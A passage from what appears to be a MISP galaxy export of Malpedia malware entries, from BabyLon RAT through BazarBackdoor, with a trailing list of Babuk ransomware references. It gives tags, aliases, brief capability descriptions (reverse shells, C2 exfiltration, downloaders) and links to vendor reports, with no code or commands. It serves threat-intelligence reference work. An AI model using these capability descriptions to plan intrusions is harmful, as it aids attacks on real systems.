https://www.bleepingcomputer.com/news/security/babyk-ransomware-wont-hit-charities-unless-they-support-lgbt-blm/
https://medium.com/s2wlab/w4-may-en-story-of-the-week-ransomware-on-the-darkweb-5f5b8d4c3b6f
https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/
https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html
https://krebsonsecurity.com/2022/02/wazawaka-goes-waka-waka/
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/
https://securelist.com/ransomware-world-in-2021/102169/
https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/IOCs-blog-Ransomware%20Actor%20Abuses%20Genshin%20Impact%20Anti-Cheat%20Driver%20to%20Kill%20Antivirus.txt

https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1
https://www.databreaches.net/babuk-re-organizes-as-payload-bin-offers-its-first-leak/
https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/
https://twitter.com/Sebdraven/status/1346377590525845504
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/
https://sebdraven.medium.com/babuk-is-distributed-packed-78e2f5dd2e62
https://twitter.com/GossiTheDog/status/1409117153182224386
https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2
https://www.fr.sogeti.com/globalassets/france/avis-dexperts—livres-blancs/cybersecchronicles_-babuk.pdf[https://www.fr.sogeti.com/globalassets/france/avis-dexperts—livres-blancs/cybersecchronicles-_babuk.pdf]
http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/
https://www.zerofox.com/blog/babuk-ransomware-variant-delta-plus/
https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b
https://therecord.media/builder-for-babuk-locker-ransomware-leaked-online/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://lab52.io/blog/quick-review-of-babuk-ransomware-builder/
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf
https://www.bleepingcomputer.com/news/security/data-leak-marketplaces-aim-to-take-over-the-extortion-economy/
https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751
https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-moving-to-vm-nix-systems.pdf
https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/are-virtual-machines-the-new-gold-for-cyber-criminals/

https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/is-there-really-such-a-thing-as-a-low-paid-ransomware-operator/
https://raw.githubusercontent.com/vc0RExor/Malware-Threat-Reports/main/Ransomware/Babuk/Babuk_Ransomware_EN_2021_05.pdf
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/
https://ke-la.com/new-russian-speaking-forum-a-new-place-for-raas/
https://marcoramilli.com/2021/07/05/babuk-ransomware-the-builder/
https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html
https://www.bleepingcomputer.com/news/security/babuk-ransomware-is-back-uses-new-version-on-corporate-networks/
https://www.bleepingcomputer.com/news/security/leaked-babuk-locker-ransomware-builder-used-in-new-attacks/
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings
https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html

BabyLon RAT

The tag is: *misp-galaxy:malpedia="BabyLon RAT"*

BabyLon RAT is also known as:

Table 1709. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babylon_rat
https://twitter.com/KorbenD_Intel/status/1110654679980085262

BABYMETAL

BABYMETAL is a command line network tunnel utility based on the TinyMet Meterpreter tool, primarily used to execute Meterpreter reverse shell payloads.

The tag is: *misp-galaxy:malpedia="BABYMETAL"*

BABYMETAL is also known as:

Table 1710. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babymetal
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.mandiant.com/resources/evolution-of-fin7
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.infosecurityeurope.com/*novadocuments/367989?v=636338290033030000[https://www.infosecurityeurope.com/*novadocuments/367989?v=636338290033030000]
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html

BabyShark

BabyShark is Microsoft Visual Basic (VB) script-based malware family first seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to C2 server, maintains persistence on the system, and waits for further instruction from the operator

The tag is: *misp-galaxy:malpedia="BabyShark"*

BabyShark is also known as:

Table 1711. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.babyshark
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries
https://twitter.com/i/web/status/1099147896950185985
https://www.youtube.com/watch?v=Dv2_DK3tRgI
https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html
https://conference.hitb.org/hitbsecconf2021ams/materials/D2T1%20-%20The%20Phishermen%20-%20Dissecting%20Phishing%20Techniques%20of%20CloudDragon%20APT%20-%20Linda%20Kuo%20&Zih-Cing%20Liao%20.pdf
https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite
https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.htmlhttps://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html
https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf
https://us-cert.cisa.gov/ncas/alerts/aa20-301a

https://www.youtube.com/watch?v=rfzmHjZX70s
https://www.bloomberglaw.com/document/public/subdoc/X67FPNDOUBV9VOPS35A4864BFIU?imagename=1
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/
https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-2.html
https://blog.alyac.co.kr/3352
https://www.huntress.com/blog/targeted-apt-activity-babyshark-is-out-for-blood
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

BACKBEND

FireEye describes BACKBEND as a secondary downloader used as a backup mechanism in the case the primary backdoor is removed. When executed, BACKBEND checks for the presence of the mutexes MicrosoftZj or MicrosoftZjBak (both associated with BACKSPACE variants). If either of the mutexes exist, the malware exits.

The tag is: *misp-galaxy:malpedia="BACKBEND"*

BACKBEND is also known as:

Table 1712. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backbend
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

BackConfig

The tag is: *misp-galaxy:malpedia="BackConfig"*

BackConfig is also known as:

Table 1713. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backconfig
https://unit42.paloaltonetworks.com/threat-assessment-hangover-threat-group/
https://unit42.paloaltonetworks.com/atoms/thirstygemini/

BackNet

The tag is: *misp-galaxy:malpedia="BackNet"*

BackNet is also known as:

Table 1714. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backnet
https://github.com/valsov/BackNet

Backoff POS

The tag is: *misp-galaxy:malpedia="Backoff POS"*

Backoff POS is also known as:

Table 1715. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backoff
https://securelist.com/sinkholing-the-backoff-pos-trojan/66305/

backspace

The tag is: *misp-galaxy:malpedia="backspace"*

backspace is also known as:

- Lecna
- ZRLnk

Table 1716. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backspace
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://www.secureworks.com/research/threat-profiles/bronze-geneva
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf

BackSwap

The tag is: *misp-galaxy:malpedia="BackSwap"*

BackSwap is also known as:

Table 1717. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.backswap
https://securityintelligence.com/backswap-malware-now-targets-six-banks-in-spain/
https://www.f5.com/labs/articles/threat-intelligence/backswap-defrauds-online-banking-customers-using-hidden-input-fi
https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/
https://www.cyberbit.com/backswap-banker-malware-hides-inside-replicas-of-legitimate-programs/
https://explore.group-ib.com/htct/hi-tech_crime_2018
https://www.cert.pl/en/news/single/backswap-malware-analysis/
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://www.cyberbit.com/blog/endpoint-security/backswap-banker-malware-hides-inside-replicas-of-legitimate-programs/
https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf
https://research.checkpoint.com/the-evolution-of-backswap/

BADCALL (Windows)

The tag is: *misp-galaxy:malpedia="BADCALL (Windows)"*

BADCALL (Windows) is also known as:

Table 1718. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badcall
https://www.us-cert.gov/ncas/analysis-reports/ar19-252a
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf

BadEncript

The tag is: *misp-galaxy:malpedia="BadEncript"*

BadEncript is also known as:

Table 1719. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badencript
https://twitter.com/PhysicalDrive0/status/833067081981710336

badflick

BADFLICK, a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command-and-control configuration.

The tag is: *misp-galaxy:malpedia="badflick"*

badflick is also known as:

Table 1720. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badflick
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://blog.amossys.fr/badflick-is-not-so-bad.html

BADHATCH

The tag is: *misp-galaxy:malpedia="BADHATCH"*

BADHATCH is also known as:

Table 1721. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badhatch
https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://team-cymru.com/blog/2021/03/15/fin8-badhatch-threat-indicator-enrichment/

BadNews

The tag is: *misp-galaxy:malpedia="BadNews"*

BadNews is also known as:

Table 1722. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews
https://blog.malwarebytes.com/threat-intelligence/2022/01/patchwork-apt-caught-in-its-own-web/
https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/

https://ti.qianxin.com/blog/articles/analysis-of-the-attack-activities-of-patchwork-using-the-documents-of-relevant-government-agencies-in-pakistan-as-bait
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf
http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-2
https://lab52.io/blog/new-patchwork-campaign-against-pakistan/
http://blog.fortinet.com/2017/04/05/in-depth-look-at-new-variant-of-monsoon-apt-backdoor-part-1
https://securelist.com/apt-trends-report-q1-2021/101967/
https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-LunghiHorejsi.pdf
https://ti.qianxin.com/blog/articles/apt-c-09-reappeared-as-conflict-intensified-between-india-and-pakistan/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

Bagle

The tag is: *misp-galaxy:malpedia="Bagle"*

Bagle is also known as:

Table 1723. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bagle
https://archive.f-secure.com/weblog/archives/carrera_erdelyi_VB2004.pdf

Bahamut (Windows)

The tag is: *misp-galaxy:malpedia="Bahamut (Windows)"*

Bahamut (Windows) is also known as:

Table 1724. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bahamut
https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf
https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/

https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/

Baldr

The tag is: *misp-galaxy:malpedia="Baldr"*

Baldr is also known as:

- Baldir

Table 1725. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.baldr
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/baldr-vs-the-world.pdf
https://www.youtube.com/watch?v=E2V4kB_gtcQ
https://krabsonsecurity.com/2019/06/04/taking-a-look-at-baldr-stealer/
https://blog.malwarebytes.com/threat-analysis/2019/04/say-hello-baldr-new-stealer-market/

BalkanDoor

According to ESET, BalkanDoor is a simple backdoor with a small number of commands (download and execute a file, create a remote shell, take a screenshot). It can be used to automate tasks on the compromised computer or to automatically control several affected computers at once. We have seen six versions of the backdoor, with a range of supported commands, evolve since 2016.

The tag is: *misp-galaxy:malpedia="BalkanDoor"*

BalkanDoor is also known as:

Table 1726. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.balkan_door
https://www.welivesecurity.com/2019/08/14/balkans-businesses-double-barreled-weapon/

BalkanRAT

The goal of BalkanRAT which is a more complex part of the malicious Balkan-toolset (cf. BalkanDoor) is to deploy and leverage legitimate commercial software for remote administration. The malware has several additional components to help load, install and conceal the existence of the remote desktop software. A single long-term campaign involving BalkanRAT has been active at least from January 2016 and targeted accouting departments of organizations in Croatia, Serbia, Montenegro, and Bosnia and Herzegovina (considered that the contents of the emails, included links and decoy PDFs all were involving taxes). It was legitimaly signed and installed by an exploit of the WinRAR ACE vulnerability (CVE-2018-20250).

The tag is: *misp-galaxy:malpedia="BalkanRAT"*

BalkanRAT is also known as:

Table 1727. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.balkan_rat
https://www.welivesecurity.com/2019/08/14/balkans-businesses-double-barreled-weapon/

Bamital

The tag is: *misp-galaxy:malpedia="Bamital"*

Bamital is also known as:

Table 1728. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bamital
https://blogs.microsoft.com/blog/2013/02/22/bamital-botnet-takedown-is-successful-cleanup-underway/
https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/trojan-bamital-13-en.pdf

Banatrix

The tag is: *misp-galaxy:malpedia="Banatrix"*

Banatrix is also known as:

Table 1729. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.banatrix
https://www.cert.pl/en/news/single/banatrix-an-indepth-look/

bancos

The tag is: *misp-galaxy:malpedia="bancos"*

bancos is also known as:

Table 1730. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.bancos
https://www.fireeye.com/blog/threat-research/2009/03/bancos-a-brazilian-crook.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/banking-trojan-latam-brazil

Bandook

The tag is: *misp-galaxy:malpedia="Bandook"*

Bandook is also known as:

- Bandok

Table 1731. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bandook
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf
https://research.checkpoint.com/2020/bandook-signed-delivered
https://www.welivesecurity.com/2021/07/07/bandidos-at-large-spying-campaign-latin-america/
https://www.eff.org/deeplinks/2020/12/dark-caracal-you-missed-spot
https://research.checkpoint.com/2020/bandook-signed-delivered/
https://twitter.com/malwrhunterteam/status/796425285197561856
https://www.eff.org/files/2018/01/29/operation-manul.pdf
https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-uses-spanish-language-lures-distribute-seldom-observed-bandook

bangat

The tag is: *misp-galaxy:malpedia="bangat"*

bangat is also known as:

Table 1732. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bangat
https://www.slideshare.net/YuryChemerkin/appendix-c-digital-the-malware-arsenal

Banjori

The tag is: *misp-galaxy:malpedia="Banjori"*

Banjori is also known as:

- BackPatcher
- BankPatch
- MultiBanker 2

Table 1733. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.banjori
http://blog.kleissner.org/?p=69
http://blog.kleissner.org/?p=192
http://osint.bambenekconsulting.com/feeds/
https://www.johannesbader.ch/2015/02/the-dga-of-banjori/

Bankshot

The tag is: *misp-galaxy:malpedia="Bankshot"*

Bankshot is also known as:

- COPPERHEDGE

Table 1734. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bankshot
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-108a
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a
https://blog.reversinglabs.com/blog/hidden-cobra
https://www.secureworks.com/research/threat-profiles/nickel-gladstone
https://www.us-cert.gov/ncas/analysis-reports/ar20-133a

Barb(ie) Downloader

The tag is: *misp-galaxy:malpedia="Barb(ie) Downloader"*

Barb(ie) Downloader is also known as:

Table 1735. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.barbie
https://www.cybereason.com/blog/operation-bearded-barbie-apt-c-23-campaign-targeting-israeli-officials

BarbWire

The tag is: *misp-galaxy:malpedia="BarbWire"*

BarbWire is also known as:

Table 1736. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.barbwire
https://www.cybereason.com/blog/operation-bearded-barbie-apt-c-23-campaign-targeting-israeli-officials

barkiofork

The tag is: *misp-galaxy:malpedia="barkiofork"*

barkiofork is also known as:

Table 1737. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.barkiofork
https://www.symantec.com/connect/blogs/backdoorbarkiofork-targets-aerospace-and-defense-industry

Bart

The tag is: *misp-galaxy:malpedia="Bart"*

Bart is also known as:

Table 1738. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.bart
https://intel471.com/blog/a-brief-history-of-ta505
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf

BatchWiper

The tag is: *misp-galaxy:malpedia="BatchWiper"*

BatchWiper is also known as:

Table 1739. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.batchwiper
https://www.rewterz.com/rewterz-news/rewterz-threat-alert-common-raven-iocs
http://contagiodump.blogspot.com/2012/12/batchwiper-samples.html

Batel

The tag is: *misp-galaxy:malpedia="Batel"*

Batel is also known as:

Table 1740. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.batel
https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks

BazarBackdoor

BazarBackdoor is a small backdoor, probably by a TrickBot "spin-off" like anchor. Its called team9 backdoor (and the corresponding loader: team9 restart loader).

For now, it exclusively uses Emercoin domains (.bazar), thus the naming. FireEye uses KEGTAP as name for BazarLoader and BEERBOT for BazarBackdoor.

The tag is: *misp-galaxy:malpedia="BazarBackdoor"*

BazarBackdoor is also known as:

- BEERBOT
- KEGTAP
- Team9Backdoor
- bazaloader
- bazarloader

Table 1741. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti
https://johannesbader.ch/blog/the-buggy-dga-of-bazarbackdoor/
https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/
https://medium.com/walmartglobaltech/decrypting-bazarloader-strings-with-a-unicorn-15d2585272a9
https://www.gosecure.net/blog/2021/02/01/bazarloader-mocks-researchers-in-december-2020-malspam-campaign/
https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware
https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware
https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/
https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html
https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident
https://abnormalsecurity.com/blog/bazarloader-contact-form
https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html
https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue
https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf
https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/
https://www.scythe.io/library/threatthursday-ryuk
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-I
https://unit42.paloaltonetworks.com/api-hammering-malware-families/
https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit_*John_Hammond_Huntress*_Analyzing_Ryuk.pdf[https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit_*John_Hammond_Huntress*_Analyzing_Ryuk.pdf]
https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire
https://johannesbader.ch/blog/next-version-of-the-bazarloader-dga/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/
https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/
https://blog.minerva-labs.com/slamming-the-backdoor-on-bazarloader
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://www.crowdstrike.com/blog/wizard-spider-adversary-update/
https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets
https://www.0ffset.net/reverse-engineering/bazarloader-iso-file-infection/
https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903
https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/
https://johannesbader.ch/blog/yet-another-bazarloader-dga/
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html
https://www.crowdstrike.com/blog/four-popular-defensive-evasion-techniques-in-2021/
https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth
https://pcsxcetrasupport3.wordpress.com/2021/11/16/excel-4-macro-code-obfuscation/
https://www.0ffset.net/reverse-engineering/analysing-the-main-bazarloader/
https://www.hornetsecurity.com/en/threat-research/bazarloaders-elaborate-flower-shop-lure/
https://elis531989.medium.com/highway-to-conti-analysis-of-bazarloader-26368765689d
https://www.hornetsecurity.com/en/threat-research/bazarloader-campaign-with-fake-termination-emails/
https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike
https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group
https://fr3d.hk/blog/campo-loader-simple-but-effective
https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/
https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-II
https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/
https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv
https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/

https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf
https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/
https://isc.sans.edu/diary/27308
https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/
https://intel471.com/blog/conti-leaks-ransomware-development
https://blog.fox-it.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/
https://experience.mandiant.com/trending-evil/p/1
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/group-behind-trickbot-spreads-fileless-bazarbackdoor
https://twitter.com/anthomsec/status/1321865315513520128
https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/
https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/
https://twitter.com/Unit42_Intel/status/1458113934024757256
https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/
https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e
https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.cybereason.com/hubfs/A%20Bazar%20of%20Tricks%20Following%20Team9%E2%80%99s%20Development%20Cycles%20IOCs.pdf
https://kienmanowar.wordpress.com/2022/02/24/quicknote-techniques-for-decrypting-bazarloader-strings/
https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf
https://johannesbader.ch/blog/the-dga-of-bazarbackdoor/
https://news.sophos.com/en-us/2021/04/15/bazarloader-deploys-a-pair-of-novel-spam-vectors
https://www.bleepingcomputer.com/news/security/malicious-csv-text-files-used-to-install-bazarbackdoor-malware/
https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/
https://www.vkremez.com/2020/04/lets-learn-trickbot-bazarbackdoor.html
https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor

https://www.trendmicro.com/en_us/research/21/k/bazarloader-adds-compromised-installers-iso-to-arrival-delivery-vectors.html
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf
https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/
https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf
https://cofense.com/blog/bazarbackdoor-stealthy-infiltration
https://www.bleepingcomputer.com/news/security/corporate-website-contact-forms-used-to-spread-bazarbackdoor-malware/
https://thedfirreport.com/2021/01/31/bazar-no-ryuk/
https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html
https://johannesbader.ch/blog/a-bazarloader-dga-that-breaks-during-summer-months/
https://www.bleepingcomputer.com/news/security/bazarbackdoor-sneaks-in-through-nested-rar-and-zip-archives/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/
https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors
https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html
https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/
